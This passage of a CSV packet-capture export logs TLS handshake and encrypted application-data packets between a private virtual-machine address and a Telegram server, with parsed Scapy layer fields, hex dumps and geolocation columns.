\"\"2043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5160303012c0c00012803001d203aafbe4c872864f900b970762d0acf10ec1367686803d0f7e9a96333737b6f2f080401005b2c874dd5c61b3409bf6adc5c03066ba830adb2a63252d31d0e7b1ac34f1a23a78ac8015beb06726f2e4c23bcaec0efc745db786ab95ab552bfdb369cb8a0f2439f9264b7777e78d73ebfa2ce5dbad52590d88b7af8fcc8831bc86cced8bd567b286613851890205d341aa712868b306d957c6bfa1290a80ad5aa65ed18cbf142028e4797704cfc50787164cb2322bee68ed0f172e22c42c4fec0b097a8c801b4b6536f1bc254c63c18529a670d3b2074817c5c8b1d3b7e050993a737025a07f71261a4fa3f76335a7bdd12b54b2e5cd2bceb8ac6d9769c949532cc8337730f7ca2d57a2220a3591117c683b6e14008d1ff11f7c5a9e0f1c825acbe92d65c6e16030300040e000000\"\"}}]\"\n2026-04-28 18:23:05.324448,157,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=902238565 Ack=4075044634,525400577f945254007bb79208004500008506e1400080067c38c0a87aa8959aa66ec3c801bb35c71165f2e43f1a5018201177d1000016030300251000002120c0b48c554b5e79939451754eb4f25aa46b912390a18ebf5d685de2780dc7786a14030300010116030300280000000000000000b740a73528564d0e8b43f11839769a793f63d1a5457f3d5909b129551248e079,\" ...UK^y..QuN..Z.k.#....]h].x\n.xj\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 133, \"\"id\"\": 1761, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31800, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902238565, \"\"ack\"\": 4075044634, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 30673, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 37, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=33 exchkeys=<Raw  load=b' \\\\xc0\\\\xb4\\\\x8cUK^y\\\\x93\\\\x94QuN\\\\xb4\\\\xf2Z\\\\xa4k\\\\x91#\\\\x90\\\\xa1\\\\x8e\\\\xbf]h]\\\\xe2x\\\\r\\\\xc7xj' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xb7@\\\\xa75(VM\\\\x0e\\\\x8bC\\\\xf1\\\\x189v\\\\x9ay?c\\\\xd1\\\\xa5E\\\\x7f=Y\\\\t\\\\xb1)U\\\\x12H\\\\xe0y' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:05.324510,158,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4075044634 Ack=902238658,5254007bb792525400577f94080045000028ba2a40004006094c959aa66ec0a87aa801bbc3c8f2e43f1a35c711c25010005377740000,RT.{..RT.W....E..(.*@.@.\tL...n..z.......?.5...P..Swt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47658, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 2380, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075044634, \"\"ack\"\": 902238658, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:05.685178,159,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=4075044634 Ack=902238658,5254007bb792525400577f9408004500013aba2b400040060839959aa66ec0a87aa801bbc3c8f2e43f1a35c711c2501800537886000016030300da040000d60000025800d04f491325f58f11fa03ab8c1e23b6c0f796a4d84056f44898e2e88cc66b1e8c88375690bb6f67975bc322e7ef2f63c4d46ada0fcf9c4d8039caeed9e3ffef49ff46f338fb70547f4f7960782df782777254a4d44478fec3c1853fad6cd3eafd0b178a9e57a6a2800e89dc1b7a04ef496faf6218f545d9e708ae0d00bf78ed0f03ab12cd84fbbcb3e2cc20b42e79d3f57982537a5a63acc5cf58ce53447b4ec5524eff07bfbbc15121415642397502d8a19a28eae92ef93b1b201a511fd837ce826caa19905f30da99bee918200b870e34140303000101160303002876e06e755dd04c94d375afbeef4f85b4dbf9948eafb55f676bde3bf13ef41791b1711392f14a37ad,v.nu].L..u...O........_gk.;.>....q...J7.,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 314, \"\"id\"\": 47659, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 2105, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075044634, \"\"ack\"\": 902238658, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 30854, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 218, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=214 lifetime=600 ticketlen=208 ticket=b'OI\\\\x13%\\\\xf5\\\\x8f\\\\x11\\\\xfa\\\\x03\\\\xab\\\\x8c\\\\x1e#\\\\xb6\\\\xc0\\\\xf7\\\\x96\\\\xa4\\\\xd8@V\\\\xf4H\\\\x98\\\\xe2\\\\xe8\\\\x8c\\\\xc6k\\\\x1e\\\\x8c\\\\x887V\\\\x90\\\\xbbog\\\\x97[\\\\xc3\\\"\"\\\\xe7\\\\xef/c\\\\xc4\\\\xd4j\\\\xda\\\\x0f\\\\xcf\\\\x9cM\\\\x809\\\\xca\\\\xee\\\\xd9\\\\xe3\\\\xff\\\\xefI\\\\xffF\\\\xf38\\\\xfbpT\\\\x7fOy`x-\\\\xf7\\\\x82wrT\\\\xa4\\\\xd4Dx\\\\xfe\\\\xc3\\\\xc1\\\\x85?\\\\xadl\\\\xd3\\\\xea\\\\xfd\\\\x0b\\\\x17\\\\x8a\\\\x9eW\\\\xa6\\\\xa2\\\\x80\\\\x0e\\\\x89\\\\xdc\\\\x1bz\\\\x04\\\\xefIo\\\\xafb\\\\x18\\\\xf5E\\\\xd9\\\\xe7\\\\x08\\\\xae\\\\r\\\\x00\\\\xbfx\\\\xed\\\\x0f\\\\x03\\\\xab\\\\x12\\\\xcd\\\\x84\\\\xfb\\\\xbc\\\\xb3\\\\xe2\\\\xcc \\\\xb4.y\\\\xd3\\\\xf5y\\\\x82SzZc\\\\xac\\\\xc5\\\\xcfX\\\\xceSD{N\\\\xc5RN\\\\xff\\\\x07\\\\xbf\\\\xbb\\\\xc1Q!AVB9u\\\\x02\\\\xd8\\\\xa1\\\\x9a(\\\\xea\\\\xe9.\\\\xf9;\\\\x1b \\\\x1aQ\\\\x1f\\\\xd87\\\\xce\\\\x82l\\\\xaa\\\\x19\\\\x90_0\\\\xda\\\\x99\\\\xbe\\\\xe9\\\\x18 \\\\x0b\\\\x87\\\\x0e4' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'v\\\\xe0nu]\\\\xd0L\\\\x94\\\\xd3u\\\\xaf\\\\xbe\\\\xefO\\\\x85\\\\xb4\\\\xdb\\\\xf9\\\\x94\\\\x8e\\\\xaf\\\\xb5_gk\\\\xde;\\\\xf1>\\\\xf4\\\\x17\\\\x91\\\\xb1q\\\\x13\\\\x92\\\\xf1J7\\\\xad' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:05.694893,160,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=902238658 Ack=4075044908,525400577f945254007bb7920800450001a506e2400080067b17c0a87aa8959aa66ec3c801bb35c711c2f2e4402c5018200f78f10000170303017800000000000000016ad7f5feca52a316c4af342eae4bc809d83de4b1a7bb57f6b2c8c95dbd0ffad9faf69bd87eca0bb588f8cef6f8b568382b1cc9af28ca505f6bbe2e5a280df7902a8923ca84857d5e85af2f52789d8e270732d95e19c400695ca38c82c7b2264a3154244e9ff18957b7a7f56a13d331f14a6922be853aacd6fe67fb340e36c2ad468e1055446158bb6d1b9866e67f3ed85f9705b04b570a8075fb4c830343f452ad2a77489f7a77131ae46779e60ef1b9a36617a0e95f17e6a13cadd4e1383d6e9b8d7e680a53f85797fbb5303ba75b5baecba5c441f774212a31b12591570ccc3af66c3718ef62919cfba0f4f40981ba1148cfcf7a05c59596c0947fe32f840944b0947ee3c258ed0a09bfcd0b80b66af61a4c21d300fd4e691130d0f30780daa49b3da154e7af6d0fb9ed456b4e140915f4937c22420636325910b02963646acbf521ca665084b28f7b855b852a281d678dab50104c296d9b99dd3b7f98f38a9b678c52d100c5a3cb163ca06878edb1,\"RT.W..RT.{....E.....@...{...z....n....5.....@,P. .x.......x........j....R....4..K.\t.=....W....]........~.........h8+...(.P_k..Z(\n..*.#...}^../Rx..'.2.^...i\\.....&J1T$N...W...j..1.Ji\"\"..:...g.4.6..F..UDaX.m..f..>._...KW\n.u.L..C.R.*wH.zw...gy.....f..._...<...8=n..~h\nS.W...0;.[[....A.t!*1.%.W..:.l7..b......\t...H..z......../.\tD..~..X.\n\t.....j..L!...Ni.0.......=.T..m...EkN.\t...|\"\"B.62Y..)cdj..!.fP...{.[.*(.g..P.L)m...;.....g.R......<.hx..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 421, \"\"id\"\": 1762, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31511, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902238658, \"\"ack\"\": 4075044908, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8207, \"\"chksum\"\": 30961, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 376, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01j\\\\xd7\\\\xf5\\\\xfe\\\\xcaR\\\\xa3\\\\x16\\\\xc4\\\\xaf4.\\\\xaeK\\\\xc8\\\\t\\\\xd8=\\\\xe4\\\\xb1\\\\xa7\\\\xbbW\\\\xf6\\\\xb2\\\\xc8\\\\xc9]\\\\xbd\\\\x0f\\\\xfa\\\\xd9\\\\xfa\\\\xf6\\\\x9b\\\\xd8~\\\\xca\\\\x0b\\\\xb5\\\\x88\\\\xf8\\\\xce\\\\xf6\\\\xf8\\\\xb5h8+\\\\x1c\\\\xc9\\\\xaf(\\\\xcaP_k\\\\xbe.Z(\\\\r\\\\xf7\\\\x90*\\\\x89#\\\\xca\\\\x84\\\\x85}^\\\\x85\\\\xaf/Rx\\\\x9d\\\\x8e\\\\'\\\\x072\\\\xd9^\\\\x19\\\\xc4\\\\x00i\\\\\\\\\\\\xa3\\\\x8c\\\\x82\\\\xc7\\\\xb2&J1T$N\\\\x9f\\\\xf1\\\\x89W\\\\xb7\\\\xa7\\\\xf5j\\\\x13\\\\xd31\\\\xf1Ji\\\"\"\\\\xbe\\\\x85:\\\\xac\\\\xd6\\\\xfeg\\\\xfb4\\\\x0e6\\\\xc2\\\\xadF\\\\x8e\\\\x10UDaX\\\\xbbm\\\\x1b\\\\x98f\\\\xe6\\\\x7f>\\\\xd8_\\\\x97\\\\x05\\\\xb0KW\\\\n\\\\x80u\\\\xfbL\\\\x83\\\\x03C\\\\xf4R\\\\xad*wH\\\\x9fzw\\\\x13\\\\x1a\\\\xe4gy\\\\xe6\\\\x0e\\\\xf1\\\\xb9\\\\xa3f\\\\x17\\\\xa0\\\\xe9_\\\\x17\\\\xe6\\\\xa1<\\\\xad\\\\xd4\\\\xe18=n\\\\x9b\\\\x8d~h\\\\nS\\\\xf8W\\\\x97\\\\xfb\\\\xb50;\\\\xa7[[\\\\xae\\\\xcb\\\\xa5\\\\xc4A\\\\xf7t!*1\\\\xb1%\\\\x91W\\\\x0c\\\\xcc:\\\\xf6l7\\\\x18\\\\xefb\\\\x91\\\\x9c\\\\xfb\\\\xa0\\\\xf4\\\\xf4\\\\t\\\\x81\\\\xba\\\\x11H\\\\xcf\\\\xcfz\\\\x05\\\\xc5\\\\x95\\\\x96\\\\xc0\\\\x94\\\\x7f\\\\xe3/\\\\x84\\\\tD\\\\xb0\\\\x94~\\\\xe3\\\\xc2X\\\\xed\\\\n\\\\t\\\\xbf\\\\xcd\\\\x0b\\\\x80\\\\xb6j\\\\xf6\\\\x1aL!\\\\xd3\\\\x00\\\\xfdNi\\\\x110\\\\xd0\\\\xf3\\\\x07\\\\x80\\\\xda\\\\xa4\\\\x9b=\\\\xa1T\\\\xe7\\\\xafm\\\\x0f\\\\xb9\\\\xedEkN\\\\x14\\\\t\\\\x15\\\\xf4\\\\x93|\\\"\"B\\\\x0662Y\\\\x10\\\\xb0)cdj\\\\xcb\\\\xf5!\\\\xcafP\\\\x84\\\\xb2\\\\x8f{\\\\x85[\\\\x85*(\\\\x1dg\\\\x8d\\\\xabP\\\\x10L)m\\\\x9b\\\\x99\\\\xdd;\\\\x7f\\\\x98\\\\xf3\\\\x8a\\\\x9bg\\\\x8cR\\\\xd1\\\\x00\\\\xc5\\\\xa3\\\\xcb\\\\x16<\\\\xa0hx\\\\xed\\\\xb1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:05.694940,161,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4075044908 Ack=902239039,5254007bb792525400577f94080045000028ba2c40004006094a959aa66ec0a87aa801bbc3c8f2e4402c35c7133f5010005377740000,\"RT.{..RT.W....E..(.,@.@.\tJ...n..z.......@,5..?P..Swt..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47660, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 2378, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075044908, \"\"ack\"\": 902239039, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:05.888191,162,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4075044908 Ack=902239039,5254007bb792525400577f940800450001d9ba2d400040060798959aa66ec0a87aa801bbc3c8f2e4402c35c7133f501800537925000017030301ac76e06e755dd04c955f9bf765330ed69bb355eff849f52a43c40cd355960aafed17ebc041d52ad0aef4b55caecfe92e88db55fbe7257f330c638ddb91563d8dd0edf5f04c1f735f5c82f2b8c304640b6001acebbe49de96e1826413243ff618070f18af7a9ed102a74febc77e74ce8abd8ce763f061c9a4848c946fe6749c9f68374c084901e73dbbb0915d0595ddbed4b93ff4e51fde05462d5b34cdc583a9cc36c6c9a478d18a281da29337b857297a4ddb21f229178cc27584a07a88ac000eeea368dd3ee49467555dc066e84ab4e349e502c42acc24ce5bc44f070252ede79752677410bf10baa81554e9b70b3808a4dcbb5c5b8897f67ae8d88160140be2f39b51cb827c629ab4c4e5449f84cfac01be19e2804e28bfc04e9bdfe29e5ab5726cfcfc9f1a4878106ade396843f3fc562c850d1da1705414c9b524c71f1386fb2d5aa03f72617e6276c6edc218c11605d3faa5479e091a6fbae720aef95bb4a4b78201e843c4d7f14444c049e48633a0aa8b6ac619e9382c3a6bfd3a871dbd6a6585864ead4a2a9268bd83aee6290595bf3b93ecbc427548482d0140a6bc3546f6de6e4ed7bacc3dac45ec,\"RT.{..RT.W....E....-@.@......n..z.......@,5..?P..Sy%.......v.nu].L._..e3....U..I.*C...U.\n.....A.*....\\......U..%.3.c...V=.....L.s_\\.....d.`....I....d.$?......z....O..~t.....c.a.....o.t..h7L.I..=...]......?.....F-[4.....6...x..(...7.W)zM.!.)...u..z......h.>..gU].f.J..I...*.$.[.O..R...Rgt......T...8....\\[...z...`.....Q..|b....D.........N(..N....Z.rl....Hx.j.9hC..V,.\n..pT...$.....-Z.?ra~bv..........G.\t.o.. ..[......C...DD.I..3...j...8,:k.:...je..N.J*.h....)...;...BuHH-.@..5F..nN...=.E.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 473, \"\"id\"\": 47661, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1944, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075044908, \"\"ack\"\": 902239039, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 428, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'v\\\\xe0nu]\\\\xd0L\\\\x95_\\\\x9b\\\\xf7e3\\\\x0e\\\\xd6\\\\x9b\\\\xb3U\\\\xef\\\\xf8I\\\\xf5*C\\\\xc4\\\\x0c\\\\xd3U\\\\x96\\\\n\\\\xaf\\\\xed\\\\x17\\\\xeb\\\\xc0A\\\\xd5*\\\\xd0\\\\xae\\\\xf4\\\\xb5\\\\\\\\\\\\xae\\\\xcf\\\\xe9.\\\\x88\\\\xdbU\\\\xfb\\\\xe7%\\\\x7f3\\\\x0cc\\\\x8d\\\\xdb\\\\x91V=\\\\x8d\\\\xd0\\\\xed\\\\xf5\\\\xf0L\\\\x1fs_\\\\\\\\\\\\x82\\\\xf2\\\\xb8\\\\xc3\\\\x04d\\\\x0b`\\\\x01\\\\xac\\\\xeb\\\\xbeI\\\\xde\\\\x96\\\\xe1\\\\x82d\\\\x13$?\\\\xf6\\\\x18\\\\x07\\\\x0f\\\\x18\\\\xafz\\\\x9e\\\\xd1\\\\x02\\\\xa7O\\\\xeb\\\\xc7~t\\\\xce\\\\x8a\\\\xbd\\\\x8c\\\\xe7c\\\\xf0a\\\\xc9\\\\xa4\\\\x84\\\\x8c\\\\x94o\\\\xe6t\\\\x9c\\\\x9fh7L\\\\x08I\\\\x01\\\\xe7=\\\\xbb\\\\xb0\\\\x91]\\\\x05\\\\x95\\\\xdd\\\\xbe\\\\xd4\\\\xb9?\\\\xf4\\\\xe5\\\\x1f\\\\xde\\\\x05F-[4\\\\xcd\\\\xc5\\\\x83\\\\xa9\\\\xcc6\\\\xc6\\\\xc9\\\\xa4x\\\\xd1\\\\x8a(\\\\x1d\\\\xa2\\\\x937\\\\xb8W)zM\\\\xdb!\\\\xf2)\\\\x17\\\\x8c\\\\xc2u\\\\x84\\\\xa0z\\\\x88\\\\xac\\\\x00\\\\x0e\\\\xee\\\\xa3h\\\\xdd>\\\\xe4\\\\x94gU]\\\\xc0f\\\\xe8J\\\\xb4\\\\xe3I\\\\xe5\\\\x02\\\\xc4*\\\\xcc$\\\\xce[\\\\xc4O\\\\x07\\\\x02R\\\\xed\\\\xe7\\\\x97Rgt\\\\x10\\\\xbf\\\\x10\\\\xba\\\\xa8\\\\x15T\\\\xe9\\\\xb7\\\\x0b8\\\\x08\\\\xa4\\\\xdc\\\\xbb\\\\\\\\[\\\\x88\\\\x97\\\\xf6z\\\\xe8\\\\xd8\\\\x81`\\\\x14\\\\x0b\\\\xe2\\\\xf3\\\\x9bQ\\\\xcb\\\\x82|b\\\\x9a\\\\xb4\\\\xc4\\\\xe5D\\\\x9f\\\\x84\\\\xcf\\\\xac\\\\x01\\\\xbe\\\\x19\\\\xe2\\\\x80N(\\\\xbf\\\\xc0N\\\\x9b\\\\xdf\\\\xe2\\\\x9eZ\\\\xb5rl\\\\xfc\\\\xfc\\\\x9f\\\\x1aHx\\\\x10j\\\\xde9hC\\\\xf3\\\\xfcV,\\\\x85\\\\r\\\\x1d\\\\xa1pT\\\\x14\\\\xc9\\\\xb5$\\\\xc7\\\\x1f\\\\x13\\\\x86\\\\xfb-Z\\\\xa0?ra~bv\\\\xc6\\\\xed\\\\xc2\\\\x18\\\\xc1\\\\x16\\\\x05\\\\xd3\\\\xfa\\\\xa5G\\\\x9e\\\\t\\\\x1ao\\\\xba\\\\xe7 \\\\xae\\\\xf9[\\\\xb4\\\\xa4\\\\xb7\\\\x82\\\\x01\\\\xe8C\\\\xc4\\\\xd7\\\\xf1DD\\\\xc0I\\\\xe4\\\\x863\\\\xa0\\\\xaa\\\\x8bj\\\\xc6\\\\x19\\\\xe98,:k\\\\xfd:\\\\x87\\\\x1d\\\\xbdje\\\\x85\\\\x86N\\\\xadJ*\\\\x92h\\\\xbd\\\\x83\\\\xae\\\\xe6)\\\\x05\\\\x95\\\\xbf;\\\\x93\\\\xec\\\\xbcBuHH-\\\\x01@\\\\xa6\\\\xbc5F\\\\xf6\\\\xdenN\\\\xd7\\\\xba\\\\xcc=\\\\xacE\\\\xec' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:05.978378,163,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=902239039 